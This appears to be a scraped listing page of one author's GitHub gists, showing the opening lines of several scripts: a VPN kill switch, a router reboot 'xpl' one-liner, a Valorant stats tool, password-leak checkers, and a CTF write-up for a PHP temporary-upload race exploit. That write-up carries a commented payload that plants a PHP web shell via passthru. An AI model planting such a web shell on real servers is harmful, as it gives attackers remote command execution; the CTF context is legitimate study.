This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## Openvpn safe kill switch / isolate vpn connection using linux routing table (no iptables needed) | |
# Author: intrd@dann.com.br | |
# flush the entire routing table (incl cache) | |
sudo ip route flush table main | |
sudo ip route flush cache | |
# route the wan network but not a gateway |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## VIVO FIBRA MitraStar GPT - IP changer / reboot one-liner (authd xpl) | |
# Successfully tested on MitraStar GPT-2541 and 2741. No SSH access required. | |
# Author: intrd@dann.com.br | |
# YoU WouLdn't ReBooT My RoUtEr.. they said? CHALLENGE ACCEPTED! | |
# Install Node.js (sudo apt install nodejs), required to calculate sessionKey from CLI; | |
# Edit LOGIN/PASSWORD, IP_ROUTER and run: ./mitrastar_ipchanger.sh | |
# It will extract the JS and SID from router, process the JS with w/ node, trigger the reboot and change ip. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Valorant matchmaking - Ranked points and last matches details retriever | |
# @author intrd - http://dann.com.br/ | |
# based on RumbleMike/ValorantAPI - https://github.com/RumbleMike/ValorantAPI/ | |
# based on Luc1412/auth_flow.py - https://gist.github.com/Luc1412/1f93257a2a808679ff014f258db6c35b | |
# based on RumbleMike/ValorantRankedPoints - https://github.com/RumbleMike/ValorantRankedPoints | |
# Usage: Just fill YOURUSERNAMEHERE and YOURPASSWORDHERE. | |
import re | |
import aiohttp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Version": 0, | |
"Subject": "XXXXX...", | |
"Matches": [ | |
{ | |
"MatchID": "XXXX...", | |
"MapID": "/Game/Maps/Bonsai/Bonsai", | |
"MatchStartTime": 160000000, | |
"TierAfterUpdate": 6, | |
"TierBeforeUpdate": 6, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget http://ns1.iranns.ir/jdk-13.0.2_linux-x64_bin.tar.gz | |
git clone https://github.com/chrishantha/install-java | |
cd install-java | |
sudo ../install-java.sh -f jdk-13.0.2_linux-x64_bin.tar.gz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## go to settings: | |
* apps & notifications > app info > disable builtin google services/apps (home/chrome/gmail/assistant/googlefi/cloud print/services for ar/) | |
* battery usage > adaptive on | |
* battery usage > enable background restriction for everything | |
* special app access > batt optimization > all apps > choose apps > optimize on/off | |
* special app access > unrestricted data > choose apps on/off | |
* dev opt > disable animation scales (speed gain) | |
* acessibility > remove animations | |
* dev opt > picture color, disable sRGB | |
* dev opt > wifi throttling |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Haveibeenpwned mail leaked mass checker | |
# @author intrd - http://dann.com.br/ | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
# usage: python hpwned.py maillist.txt | |
import requests, json, time, sys | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## One-liner password leak check + k-anonymity method (w/out exposing the password on request) | |
# Compute the SHA1, Grab 1st 5 chars of the hash, check by range on huge haveibeenpwnd DB! | |
# original source: https://news.ycombinator.com/item?id=16432344 | |
VARPWD='test123'; HASH=`echo -n $VARPWD | sha1sum`; curl --silent https://api.pwnedpasswords.com/range/`cut -b 1-5 <(echo $HASH)` --stderr - | grep -i `cut -b 6- <(echo $HASH) | cut -d ' ' -f 1` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit | |
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team | |
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
## passwords.txt payload content | |
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?> | |
import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re | |
from subprocess import Popen, PIPE, STDOUT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# update apt-get | |
export DEBIAN_FRONTEND="noninteractive" | |
sudo apt-get update | |
# remove previously installed Docker | |
sudo apt-get remove docker docker-engine docker.io* lxc-docker* | |
# install dependencies 4 cert |
NewerOlder